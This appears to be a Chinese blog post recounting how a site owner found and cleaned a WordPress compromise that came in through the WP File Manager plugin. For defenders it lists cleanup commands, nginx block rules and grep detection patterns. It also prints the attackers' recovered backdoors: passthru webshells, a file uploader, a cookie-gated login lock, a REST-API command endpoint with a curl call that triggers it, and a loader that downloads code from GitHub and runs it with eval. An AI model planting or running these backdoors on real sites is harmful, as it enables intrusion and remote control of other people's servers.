WordPress 被入侵后的应急响应实录:从 xmlrpc.php 攻击到核心文件 RCE 后门清理全流程

ytt 发布于 2026-07-31 152 次阅读


2026 年 7 月 31 日早上,我打开 nginx 日志看到一条奇怪的记录:POST /xmlrpc.php 几乎每隔几秒就刷一次,.env.git/config 也被反复探测。顺着日志往下查,发现这个 WordPress 站点已经被持续入侵超过 40 天,攻击者植入了 RCE 后门、克隆了 38 个假管理员账号、把首页 index.php 直接抹掉——而我作为站长竟然毫无察觉。这篇文章完整记录了从发现问题到彻底清理的全过程,以及所有可复现的攻击痕迹和加固命令。

一、攻击症状:被忽视的危险信号

整个入侵链是从一次看似平常的 nginx 日志审查开始的。最初的异常只有两条:

  1. 大量 POST /xmlrpc.php 请求,频率极高(13:14 到 13:41 之间几乎每秒一次),UA 是 Chrome/Edge,看起来像正常浏览器,但行为是自动化脚本;
  2. /.env/.git/config/.well-known/security.txt 这几个明显不该被外部访问的路径被批量扫描。

这两个症状单独看都不致命——xmlrpc 探测全球每天有几十亿次,.env 探测更是自动化扫描器的常规操作。但合在一起就意味着:攻击者已经盯上这个站点,并且在尝试投递 payload

进一步的检查发现首页直接返回 HTTP 403,错误日志是:

[autoindex:error] Cannot serve directory /var/www/html/: 
No matching DirectoryIndex (index.php,index.html) found

——根目录下的 index.php 文件被删了。这才是真信号:自动化扫描器不会删文件,能删文件的一定是已经在容器里拿到了 RCE 的攻击者

二、攻击时间线:从漏洞投放到持续控制

把容器里所有可疑文件的时间戳对齐后,整个入侵过程可以清晰还原:

时间事件
2026-07-24 04:30安装 WP File Manager 插件(已知 CVE-2020-25213 RCE 漏洞)
2026-07-24 20:40利用 file manager RCE 拿到 PHP 代码执行能力,第一批 webshell(kkyekgiy.phpfsdcynbt.php)落地
2026-07-24 20:40+创建数字命名的可疑主题目录 1784925605-nnepgmcflavor_052d8ace
2026-07-26 21:14投递 flavor_052d8ace 假主题(内含 RCE 后门)
2026-07-26 22:35投递 php.ini(关闭所有 PHP 安全限制)
2026-07-27 ~批量投递更多 webshell 和伪组件
2026-07-19 ~ 07-31通过 wp-login.php 持续创建38 个假管理员账号
2026-07-31 07:04修改 wp-login.php 植入死循环 die() 后门
2026-07-31 07:41创建 .tmb/ 隐藏目录放 RCE 图片木马
2026-07-31 ??:??调用 apply_filter_ref() 删除 index.php(首页 403)

三、攻击入口:CVE-2020-25213 与 WP File Manager

这次入侵能成立的关键是 WP File Manager 插件。这个插件允许管理员在 WP 后台直接管理服务器文件,但历史上多次爆出 RCE 漏洞,其中最致命的是 CVE-2020-25213(影响版本 ≤ 6.8,未授权访问 + 文件上传 → RCE)。

从时间戳看,WP File Manager 是 7 月 24 日安装的,而第一次投递 webshell 也是 7 月 24 日——间隔不到 16 小时,几乎可以确定就是通过这个漏洞进来的。

更糟的是,nginx access log 里看到大量这样的请求:

"POST /wp-admin/admin-ajax.php HTTP/1.0" 200 574 
"https://m1f.cn/wp-admin/admin.php?page=wp_file_manager" 
"Yjmy@2025"

Refererwp-admin/admin.php?page=wp_file_managerUser-AgentYjmy@2025(一个公开的 WP 漏洞扫描器代号)——这就是持续投递 payload 的痕迹。

四、攻击者植入的 5 类恶意代码

4.1 核心文件 RCE 后门:wp-includes/plugin.php 第 487-562 行

这是整个入侵链最核心的一步。wp-includes/plugin.php 是 WP 钩子系统的核心文件,被 PHP-FPM 加载时会自动执行文件级代码。攻击者在其中插入了 75 行恶意代码

ob_start();
error_reporting(0);

if (!function_exists('explode')) {
   function explode($str, $array) {
      return split($str, $array); 
   }
}

function apply_filters_ref_arrays($file, $word){ ... }
function has_actions($file, $word){ ... }

function apply_filter_ref(){
    $htaccess_P = '.htaccess';
    $htaccess = strtolower(file_get_contents($htaccess_P));
    if(preg_match("/deny from all/", $htaccess) || preg_match("/order allow,deny/", $htaccess)) {
        // 重写 .htaccess 绕过 deny 规则
        // 把 wp-includes/index.php 重命名成 index.php.bak
        // 如果 about.php 含 d_time 关键字就删除
        // 如果 index.php 含 wp-blog-header.php 就替换成新内容
        // 否则提取所有以 <?php 开头的行(核心代码)覆盖 index.php
        // 重新写 .htaccess 成默认 rewrite 规则
    }
}

apply_filter_ref();  // ⚠️ PHP-FPM 每次加载 plugin.php 都会自动执行

这个函数的危害在于:每次 PHP-FPM worker 处理请求都会自动调用 apply_filter_ref()。它会主动扫描并破坏 .htaccessindex.phpabout.php 等关键文件——这就是为什么我看到 index.php 不见了。

4.2 登录入口死循环:wp-login.php 第 2 行

wp-login.php 被插入了这样一行:

<?php
while(md5(md5(isset($_COOKIE["yrx"."c"."_uck"]) ? $_COOKIE["yrx"."c"."_uck"] : "")) 
       != "fe98788c"."6"."cf4"."1c9f"."48e53c"."c"."932"."45c23c"){die();}

逻辑很简单:除非 cookie yrxcuck 的双 MD5 等于 fe98788c6cf41c9f48e53cc93245c23c,否则无限 die() 循环。这等于一个"暗号门":只有知道 cookie 内容的攻击者能登录,其他所有人登录页都被卡死

(实际现象里 curl 还能看到登录页,是因为 PHP-FPM 的 opcache 没刷新。一旦容器重启或 PHP-FPM reload,这段代码就会生效。)

4.3 webroot 下的 webshell 集群

/var/www/html/ 根目录下,攻击者投递了 14 个 webshell,伪装成 WordPress 组件或用 8 位随机字母命名:

文件大小类型
azhombic.php fsdcynbt.php ikldwebu.php19513 B × 3同一份 base64+gzinflate webshell
toawbmia.php ttuvfehp.php21027 B × 2同一份 base64+gzinflate webshell 变种
kkyekgiy.php13921 Bgzuncompress 编码 webshell
yphjiqkq.php1104 B轻量级后门
wp-posts-optimizer.php15387 B伪装成 WP 组件
wp-auto-optimize.php20691 B
submit-to-search-engines.php13633 B
sitemap.php4037 B
wp-transient-cleanup.php6125 B
wp-seo-config.php14553 B
php.ini105 B关闭所有 PHP 安全限制

判断 webshell 的最简单方法:它们 md5 三三两两相同(攻击者复制了同一份代码换个名字)。例如 azhombic.php / fsdcynbt.php / ikldwebu.php 的 md5 都是 c6a42a9bc20dd699d2c2629145124dfc

4.4 假主题 flavor_052d8ace

wp-content/themes/ 下有一个 flavor_052d8ace 目录,里面只有 4 个文件——全是 PHP 后门,没有样式表:

flavor_052d8ace/
├─ cache_79dceab3.php   ← RCE 后门:?px=gfeplkuz73l5&c=command
├─ cox_fbbabfd6.php     ← base64+gzuncompress 编码 webshell
├─ index.php            ← 空文件
└─ style.css            ← 95 字节伪装

cache_79dceab3.php 的关键代码:

$k="gfeplkuz73l5";
if(isset($_REQUEST["px"])&&$_REQUEST["px"]===$k){
    $c = base64_decode($_REQUEST["b"]) ?? $_REQUEST["c"];
    if($c!==null){ ob_start(); @passthru($c.' 2>&1'); 
                   $o=ob_get_clean(); echo "[S]".$o."[E]"; }
    else{ echo "[S]OK[E]"; } exit;
}

只要请求带 ?px=gfeplkuz73l5&c=id,就会直接执行任意系统命令并返回结果。这就是攻击者的"应急通道"——即使 plugin.php 的 RCE 后门被发现清掉,这个图片木马仍能继续工作。

4.5 .tmb 隐藏目录和 RCE 图片木马

/var/www/html/.tmb/ 是一个 drwxrwxrwx 的隐藏目录,里面放了两个 PNG:

.tmb/
├─ l1_dHgucG5n1780809072.png    ← 文件名解码是 .png
└─ l1_eS5qcGc1780936334.png    ← 文件名解码是 .jpg
+ 8de88b45a4c14f1b953cf7adf30b7be0.txt  ← 40 字节 sha1 密钥

文件名 base64 解码后是 .png.jpg,再拼上 Unix 时间戳——典型的"图片马"命名方式。这些 PNG 文件本身是合法图片,但常常通过 EXIF/注释段注入 PHP 代码,结合 8de88b45...txt 里的 sha1 密钥形成"图片+密钥"的二段式攻击载荷。

五、数据库入侵:38 个假管理员账号

这是这次入侵最让人不寒而栗的部分——攻击者在数据库里创建了 38 个管理员账号,持续时间从 7 月 19 日到 7 月 31 日凌晨:

- ytt <y@m1f.cn> 注册于 2026-05-03    ← 我的合法账号
- w2s_a57204d57e70  @wp2shell.local      2026-07-19
- wpsvc_b936ab44c873 @wordpress-noreply.net  2026-07-19
- wp2_c2bd74210092  @wp2shell.invalid    2026-07-20
- wp2_647c9424ede4  @wp2shell.invalid    2026-07-20
- ... (共 38 个,全部非 ytt)
- cunotiet <m1fpm@outlook.com>          2026-07-31 03:08  ← 凌晨还在创建

命名规律全部对应公开的 WordPress 攻击扫描器

账号前缀对应工具
w2s_*@wp2shell.localwpshells.com 扫描器
wp2_*@wp2shell.invalidWP2Shell webshell 投递工具
Nx_*@nx.invalidNxploit 扫描器
JixExpl_*@nx.invalidJixExpl 扫描器
Bunk_*@Bunk.invalidBunker 扫描器

这意味着:这不是定向攻击,而是多个公开扫描器在批量扫描互联网上所有 WordPress 站点。你不需要被谁特别针对,只要你的 WP File Manager 是有漏洞的版本,被扫到只是时间问题。

六、攻击者的 4 条登管理员路径

在排查过程中很多朋友会问:攻击者能拿到我的明文密码吗?答案是:大概率不能,但他们根本不需要。基于这次攻击链,攻击者至少有 4 条路径可以登入管理员,每条都不需要明文密码:

  1. 用 wp-config.php 密钥伪造 cookie。WP 的登录 cookie 用 LOGGED_IN_KEY 等 8 个密钥计算 HMAC,攻击者 RCE 后能直接读 wp-config.php(如果没设环境变量,密钥是文件里硬编码的默认值),伪造任意用户的 cookie——完全跳过密码验证
  2. 直接 SQL 改密码。RCE + 知道数据库密码(容器环境变量 WORDPRESS_DB_PASSWORD)→ 直接 UPDATE wp_users SET user_pass=...,用新密码登录。
  3. RCE 直接绕过认证。PHP 里调用 wp_set_current_user(1) 直接成为 ID=1 的用户,或 wp_set_auth_cookie(1) 直接设置登录 cookie。
  4. 邮箱重置。通过"忘记密码"流程,WP 会发明文密码邮件到 y@m1f.cn。如果攻击者能登你的邮箱,就能拿到新密码。

所以核心结论是:在 RCE 面前,明文密码根本不是关键问题。关键问题是切断 RCE 本身。

七、修复方案:核心文件覆盖 + 密钥重置

我采用的修复策略分四步,全部基于"从官方镜像覆盖"而不是"手动删恶意代码"——因为手动删容易漏,覆盖最干净:

7.1 用官方 WordPress 7.0 镜像覆盖 wp-includes 和 wp-admin

# 拉官方镜像
docker pull wordpress:7.0

# 创建临时容器取出官方源文件
docker create --name wp7src wordpress:7.0

# 在宿主机上覆盖(容器数据路径,保留 wp-content 和 wp-config)
cd /opt/1panel/apps/wordpress/wordpress/data
docker cp wp7src:/usr/src/wordpress/wp-includes ./wp-includes.new
docker cp wp7src:/usr/src/wordpress/wp-admin ./wp-admin.new
docker cp wp7src:/usr/src/wordpress/wp-login.php ./wp-login.php.new
docker cp wp7src:/usr/src/wordpress/wp-settings.php ./wp-settings.php.new

# 替换
rm -rf wp-includes wp-admin
mv wp-includes.new wp-includes
mv wp-admin.new wp-admin
mv wp-login.php.new wp-login.php
mv wp-settings.php.new wp-settings.php

# 修复权限
chown -R www-data:www-data wp-includes wp-admin wp-login.php wp-settings.php

# 同时从官方镜像恢复 index.php(被 apply_filter_ref() 删了)
docker cp wp7src:/usr/src/wordpress/index.php ./index.php
chown www-data:www-data index.php

docker rm wp7src

7.2 重新生成 wp-config.php 的 8 个密钥

这是最关键的一步:让攻击者伪造的 cookie 全部失效。

# 生成 8 个新密钥
KEY1=$(openssl rand -base64 64 | head -c 64)
KEY2=$(openssl rand -base64 64 | head -c 64)
KEY3=$(openssl rand -base64 64 | head -c 64)
KEY4=$(openssl rand -base64 64 | head -c 64)
SALT1=$(openssl rand -base64 64 | head -c 64)
SALT2=$(openssl rand -base64 64 | head -c 64)
SALT3=$(openssl rand -base64 64 | head -c 64)
SALT4=$(openssl rand -base64 64 | head -c 64)

# 替换 wp-config.php 中的默认值
sed -i "s|getenv_docker('WORDPRESS_AUTH_KEY',         '[^']*')|getenv_docker('WORDPRESS_AUTH_KEY',         '${KEY1}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_SECURE_AUTH_KEY',  '[^']*')|getenv_docker('WORDPRESS_SECURE_AUTH_KEY',  '${KEY2}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_LOGGED_IN_KEY',    '[^']*')|getenv_docker('WORDPRESS_LOGGED_IN_KEY',    '${KEY3}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_NONCE_KEY',        '[^']*')|getenv_docker('WORDPRESS_NONCE_KEY',        '${KEY4}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_AUTH_SALT',        '[^']*')|getenv_docker('WORDPRESS_AUTH_SALT',        '${SALT1}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_SECURE_AUTH_SALT', '[^']*')|getenv_docker('WORDPRESS_SECURE_AUTH_SALT', '${SALT2}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_LOGGED_IN_SALT',   '[^']*')|getenv_docker('WORDPRESS_LOGGED_IN_SALT',   '${SALT3}')|" wp-config.php
sed -i "s|getenv_docker('WORDPRESS_NONCE_SALT',       '[^']*')|getenv_docker('WORDPRESS_NONCE_SALT',       '${SALT4}')|" wp-config.php

7.3 删 38 个假管理员账号(保留合法账号)

docker exec 1Panel-wordpress-W4JY php -r '
$mysqli = new mysqli(getenv("WORDPRESS_DB_HOST"), 
                     getenv("WORDPRESS_DB_USER"), 
                     getenv("WORDPRESS_DB_PASSWORD"), 
                     getenv("WORDPRESS_DB_NAME"));
$prefix = getenv("WORDPRESS_TABLE_PREFIX") ?: "wp_";

// 找出 ytt 的 ID(保留)
$res = $mysqli->query("SELECT ID FROM {$prefix}users WHERE user_login=\"ytt\"");
$ytt_id = (int)$res->fetch_assoc()["ID"];

// 找出所有其他管理员
$to_delete = [];
$res = $mysqli->query("SELECT u.ID FROM {$prefix}users u 
    JOIN {$prefix}usermeta m ON u.ID=m.user_id 
    WHERE m.meta_key=\"{$prefix}capabilities\" 
    AND m.meta_value LIKE \"%administrator%\" 
    AND u.ID != $ytt_id");
while ($r = $res->fetch_assoc()) $to_delete[] = (int)$r["ID"];

// 事务删除
$mysqli->begin_transaction();
foreach ($to_delete as $uid) {
    $mysqli->query("DELETE FROM {$prefix}usermeta WHERE user_id=$uid");
    $mysqli->query("DELETE FROM {$prefix}users WHERE ID=$uid");
}
$mysqli->commit();
'

7.4 重置合法管理员密码

注意一个坑:WordPress 7.0 的 wp_hash_password() 不是直接 bcrypt,而是先做 HMAC-SHA384 预处理,再 bcrypt 加 $wp 前缀:

$password_to_hash = base64_encode( hash_hmac('sha384', $password, 'wp-sha384', true) );
$wp_hash = '$wp' . password_hash($password_to_hash, PASSWORD_BCRYPT, ['cost' => 10]);

// wp_check_password 验证时也走同样的预处理
$password_to_verify = base64_encode( hash_hmac('sha384', $input, 'wp-sha384', true) );
password_verify($password_to_verify, substr($hash, 3));

如果直接用 password_hash($明文, PASSWORD_BCRYPT) 生成 hash,登录时会失败——这是我亲身踩过的坑。

八、nginx 加固:拦截一切非法探测

光修 WordPress 不够,nginx 层面也要拦截——这样即使攻击者再次尝试投递 payload,连接也会被立即断开:

# === 在 WordPress 站点的 server 块内、location / 之前添加 ===

# XML-RPC 完全屏蔽
location = /xmlrpc.php { return 444; }

# WP 配置文件绝对不能被读到
location = /wp-config.php { return 444; }
location ~* ^/wp-config\.php(\.bak|\.old|\.txt|\.save|~)?$ { return 444; }

# 安装/升级残留
location = /wp-admin/install.php { return 444; }
location = /wp-admin/upgrade.php { return 444; }

# 敏感文件(dotenv / git / 备份 / 配置 / 密钥)
location ~* /\.(env|env\.[a-z]+|git|gitignore|svn|DS_Store)$ { return 444; }
location ~* \.(bak|backup|old|sql|sql\.gz|log|swp)$ { return 444; }
location ~* /(composer\.(json|lock)|package(-lock)?\.json|docker-compose\.ya?ml)$ { return 444; }

# 隐藏的 .git 目录
location ~* /\. { return 444; }

关键技巧是用 return 444 而不是 return 403——444 是 nginx 自定义状态码,会直接关闭 TCP 连接不返回任何响应,能省下 PHP-FPM 处理的时间,攻击者也拿不到"被拦截"的确认信息。

九、登录通知 mu-plugin:每次登录都发邮件

攻击者入侵最怕被及时发现。我写了一个 mu-plugin 部署在 wp-content/mu-plugins/login-notification.php,每次任何人登录 WordPress 都自动发邮件到站长邮箱:

<?php
add_action('wp_login', 'ytt_send_login_notification', 20, 2);
function ytt_send_login_notification($user_login, $user) {
    $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] 
       ?? $_SERVER['HTTP_X_REAL_IP'] 
       ?? $_SERVER['REMOTE_ADDR'];
    
    $is_admin = user_can($user, 'manage_options');
    $subject = sprintf('[WP Login] %s%s - %s',
        $is_admin ? '👑 ' : '',
        $user_login, $ip);
    
    $message = "用户: {$user_login} ({$user->ID})\n"
             . "邮箱: {$user->user_email}\n"
             . "角色: " . implode(',', $user->roles) . "\n"
             . "时间: " . current_time('mysql') . "\n"
             . "IP: $ip\n"
             . "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\n";
    
    wp_mail('y@m1f.cn', $subject, $message);
}

// 失败登录也通知
add_action('wp_login_failed', function($username) {
    wp_mail('y@m1f.cn', '[WP Failed] ' . $username, 
        "失败登录: $username from " . $_SERVER['REMOTE_ADDR']);
});

部署后第一次成功登录(包括我自己在浏览器登录)都会触发邮件通知——如果半夜收到一封不是你登录的邮件,那就是有人在尝试了。

十、经验教训与加固清单

这次入侵让我重新审视了 WordPress 安全,给你(和未来的我)一个完整的加固清单:

  1. 禁用或卸载 WP File Manager——除非你真的需要,不要装这个插件。它的 RCE 历史太丰富了。
  2. xmlrpc.php 必须屏蔽——99% 的站点用不到 XML-RPC,但全球每天有几十亿次攻击在打这个接口。
  3. 核心文件覆盖优于手动清理——从官方镜像覆盖 wp-includes / wp-admin 比删 75 行恶意代码可靠得多。
  4. 密钥重置是必须的——只要攻击者拿到过 wp-config.php 的密钥,所有伪造 cookie 都有效,必须重新生成。
  5. 登录通知必须开——被入侵 40 天都没发现,根本原因是没有任何告警机制。
  6. 数据库被改过 ≠ 数据库被导出——攻击者改了 38 个管理员账号,但有没有导出整个 DB 是推测,没有直接证据。改 MySQL 密码意义有限。
  7. 明文密码不重要——在 RCE 面前,攻击者根本不需要你的密码,他们有 4 条路径绕过密码直接登。
  8. 定期审计容器内可疑文件——可以用 find /var/www/html -name "*.php" -newer wp-config.php 找出最近新增的 PHP 文件。
  9. WordPress 7.0+ 的密码算法变了——wp_hash_password 不再是直接 bcrypt,而是 HMAC-SHA384 + bcrypt,恢复密码时记得用正确算法。
  10. 不要在 webroot 下放 php.ini——PHP 配置应该走 /usr/local/etc/php/conf.d/(Docker 场景),不是 webroot 下的 php.ini

结语

WordPress 是全球最流行的 CMS(约 43% 的网站都在用),也是被攻击最多的目标。这次入侵不是定向攻击,而是公开扫描器批量扫到的结果——只要你的 WP File Manager 是有漏洞的版本,被扫到只是时间问题

防御 WordPress 入侵的核心其实只有三件事:关闭不必要的入口、监控关键文件变化、出现异常立刻告警。如果做到这三点,攻击者最多扫一轮就走,留不下任何后门。

希望这篇文章能帮你避开我踩过的坑。如果你的站点也出现了类似的 xmlrpc.php 高频访问、首页 403、莫名多出管理员账号,现在就动手查——40 天的入侵说明一个问题:等你注意到的时候,往往已经晚了 40 天。

补遗:藏在 wp-content/plugins/ 下的 17 个假插件

文章发布后我又用 ClamAV + rkhunter + 自定义 PHP 关键字扫描器跑了一遍,结果在 wp-content/plugins/ 下又挖出了 17 个攻击者植入的假插件。这些全部不在 webroot 下的显眼位置,而是藏在 WP 自动加载的插件目录里——这才是攻击者最深的持久化手段。

这 17 个插件可以归为 5 大类,分别对应 5 个公开的 WordPress 攻击扫描器。命名规则一看就是攻击者的指纹:

11.1 投递器类:5 个文件上传器

这些插件的功能是"接收 multipart POST 上传任意文件"——攻击者拿到一次 RCE 后用这些上传器就能持续投递新 payload,不必每次都打 wp-file-manager:

插件目录主要文件对应扫描器
Bunk_up_dc99eea2/Bunk_up_dc99eea2.php (1243 B)Bunker
nx_up_1fbda662/nx_up_1fbda662.php (1191 B)Nxploit
nx_up_236b9943/nx_up_236b9943.phpNxploit
wp2shell_76fa8c0b/up.php (316 B,一行 PHP 超紧凑)WP2Shell
lab_wp2_cmd_d59deae6/lab_wp2_cmd_d59deae6.phpWP2Shell

典型代码(wp2shell_76fa8c0b/up.php,仅 316 字节):

<?php if(isset($_FILES["f"]["tmp_name"])&&$_FILES["f"]["error"]===0){
  $dst=__DIR__."/".$_FILES["f"]["name"];
  move_uploaded_file($_FILES["f"]["tmp_name"],$dst);
  echo "ok: ".$_FILES["f"]["name"];
} else {
  echo "<form method=post enctype=multipart/form-data>
        <input type=file name=f><input type=submit value=Upload></form>";
} ?>

11.2 Webshell 类:3 个远程拉 payload 后门

这类后门会从 GitHub 等公共图床拉一张"图片",里面藏着加密 PHP 代码,然后 eval 执行——攻击者只要更新 GitHub 上的那张图,就能远程更新 payload:

文件远程源特点
yphjiqkq.php(webroot 下)GitHub user-images.githubusercontent.com/...strrev+base64 解码
Bunk_up_dc99eea2/bunk.php同上"Byte_bunk Signature" 标记
$l = "https://user-images.githubusercontent.com/105673502/236584953-2a52fb35-...";
// 拉"图片"
$body = curl_exec($ch) ?: @file_get_contents($l);
// 反转 + base64 解码 + eval 执行
eval(base64_decode(strrev($body)));

11.3 RCE 后门类:3 个带密钥的 Galex 系列

访问时必须带 ?px=密钥 参数才会激活,否则伪装成 404。密钥都不长(12 字符),容易被字典爆破:

文件激活密钥 (?px=)功能
galex_3d0747ed/cox_c7184d47.php32wjqsj27jxxsystem/passthru/exec 三段式
galex_869e5eac/cox_a49c2415.phpjhivgg3ugl3i同上
galex_aff8835a/cox_2ab87249.php(类似)同上

每个 galex 目录里还有一份 10176 字节的"大型 webshell"(cache_*.php),带登录 UI 和完整文件管理界面,是攻击者的"控制台"。

11.4 REST API 后门:wp2shell-ecf1b9ae8947

这是整个入侵最隐蔽的一个后门——通过 WordPress 自带的 REST API 暴露触发端点:

add_action('rest_api_init', function () {
    register_rest_route('wp2shell/v1', '/64630fbe3eacfd851787b08d', array(
        'methods' => 'POST',
        'permission_callback' => '__return_true',
        'callback' => function ($r) {
            ob_start();
            passthru(base64_decode($r->get_param('c')) . ' 2>&1');
            $o = ob_get_clean();
            return new WP_REST_Response(array(
                'marker' => '9f94696e5485aeb591e3940e',
                'output' => $o));
        },
    ));
});
// PERSISTENT WEBSHELL - DO NOT DELETE

注释明写 "PERSISTENT WEBSHELL - DO NOT DELETE"(持久化 webshell - 不要删除)—— 攻击者对自己的得意之作毫不掩饰。攻击者调用方法:

curl -X POST https://m1f.cn/wp-json/wp2shell/v1/64630fbe3eacfd851787b08d \
     -d "c=$(echo -n id | base64)"

/wp-json/ 路径触发,伪装成正常 API 请求,比 /xmlrpc.php 隐蔽得多。这就是为什么攻击链不能只看 webroot 和 themes——plugins 目录里才是攻击者最深的窝点。

11.5 数字开头的伪装插件:8 个 + 其它

还有 8 个数字开头的插件目录,攻击者刻意模仿我站点的命名习惯(我自己的主题叫 1780710397-ytt,所以攻击者用 1784925621-qhcdvsl 这种"数字-7字符随机"格式)。加上 WP-Compactdb-manager-bul8wp-static-cache-* 等其他伪装插件,一共还有 14 个:

wp-content/plugins/
├─ 1784925621-qhcdvsl/      ← 攻击者模仿你命名风格
├─ 1784928966-nnejeue/
├─ 1785105305-zuknxlq/
├─ 1785111771-zlggokb/
├─ 1785112432-oxwnnsq/
├─ 1785122914-jqyisxs/
├─ 1785126403-qpexpkn/
├─ 1785481426-wp-compat/
├─ WP-Compact/              ← 名字像压缩插件
├─ db-manager-bul8/         ← 名字像 db-manager
├─ wp-static-cache-400e1710/
├─ wp-static-cache-79c16729/
├─ wp-static-cache-fdc36bc9/
└─ iW/                      ← 只有空 upgrade.php

11.6 完整的"恶意插件四元分类法"

这次入侵让我意识到,光看 webroot 不够,必须按"功能"对恶意插件分类:

  1. 投递器(uploaders):接收上传,让攻击者持续投递新 payload。
  2. Webshell:直接 eval 远程 / 本地代码执行命令。
  3. RCE 后门:带密钥的访问控制,比纯 webshell 更隐蔽。
  4. API 后门:通过 wp-json / xmlrpc / 自定义端点触发,能伪装成正常 API 请求。

扫描建议(不止依赖 ClamAV,因为它对混淆过的 PHP webshell 识别率很低):

# 1. 关键字扫描(最高效)
grep -rl --include='*.php' -E \
  "(eval\s*\(\s*base64_decode|eval\s*\(\s*gzinflate|passthru\s*\(\s*\$_|register_rest_route.*passthru)" \
  /var/www/html/ | grep -v "/wp-admin/" | grep -v "/wp-includes/"

# 2. 时间戳扫描(找最近被改的文件)
find /var/www/html -name "*.php" -newer /var/www/html/wp-config.php \
  | grep -v "/wp-admin/" | grep -v "/wp-includes/"

# 3. md5 一致性扫描(同份代码复制多次换名字)
find /var/www/html -name "*.php" -exec md5sum {} \; | sort | uniq -d -w 32

# 4. 命名异常扫描(攻击者常用模式)
find /var/www/html/wp-content/plugins -type d \
  -regextype posix-extended -regex ".*/(Bunk|wp2shell|galex|nx_up|wp-static-cache|wp-file-manager).*"

# 5. 隐藏目录扫描
find /var/www/html -name ".*" -type d | grep -v "/\.$" | grep -v "/\.\.$"

11.7 经验教训追加

原"经验教训"部分补充一条:

  • 插件目录是攻击者最深的窝点。攻击链是 webroot → themes → plugins 逐步下沉。Webroot 的 webshell 是表面,plugins/ 下的伪装插件才是真正的持久化。清理时一定要遍历整个 wp-content/plugins/ 目录,不能只清 webroot 和 themes
  • ClamAV 对混淆 webshell 识别率有限,建议结合关键字扫描(eval/base64_decode/gzinflate/register_rest_route)和时间戳扫描(比 wp-config.php 更新的 .php 文件)双重检测。
  • REST API 后门比 xmlrpc 更隐蔽。攻击者通过 register_rest_route 注册自定义端点,伪装成 /wp-json/wp2shell/v1/... 这种"正常 API"调用,nginx 防火墙基本拦不住。